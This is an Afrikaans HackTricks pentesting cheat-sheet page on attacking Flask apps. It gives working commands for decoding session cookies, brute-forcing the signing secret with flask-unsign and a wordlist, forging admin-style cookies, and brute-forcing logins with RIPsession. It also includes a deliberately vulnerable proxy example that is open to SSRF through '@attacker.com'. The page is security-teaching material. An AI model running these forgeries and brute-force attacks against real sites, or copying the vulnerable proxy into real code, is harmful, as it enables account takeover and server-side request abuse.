hacktricks/network-services-pentesting/pentesting-web/flask.md

5.7 KiB

Flask

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}

Waarskynlik as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.

Koekies

Verstek koekiesessienaam is session.

Ontleder

Aanlyn Flask-koekiesontleder: https://www.kirsle.net/wizards/flask-session.cgi

Handleiding

Kry die eerste deel van die koekie tot by die eerste punt en Base64-ontsleutel dit>

echo "ImhlbGxvIg" | base64 -d

Die koekie word ook onderteken met behulp van 'n wagwoord

Flask-Unsign

Opdraglynwerktuig om sessiekoekies van 'n Flask-toepassing te haal, te ontsleutel, te kragtig aan te val en te skep deur geheime sleutels te raai.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Dekodeer Koekie

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Ondertekening

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Ondertekening met behulp van ou erfenis (ou weergawes)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Opdraglynwerktuig om webwerwe te kragtig aan te val deur koekies te gebruik wat geskep is met flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi in Flask sessie koekie met SQLmap

Hierdie voorbeeld gebruik sqlmap se eval opsie om outomaties sqlmap payloads te teken vir flask deur 'n bekende geheim te gebruik.

Flask Proksi na SSRF

In hierdie uiteensetting word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Watter in die volgende scenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Kon toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.

Gebruik Trickest om maklik te bou en werkstrome outomaties aangedryf deur die wêreld se mees gevorderde gemeenskaplike gereedskap.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: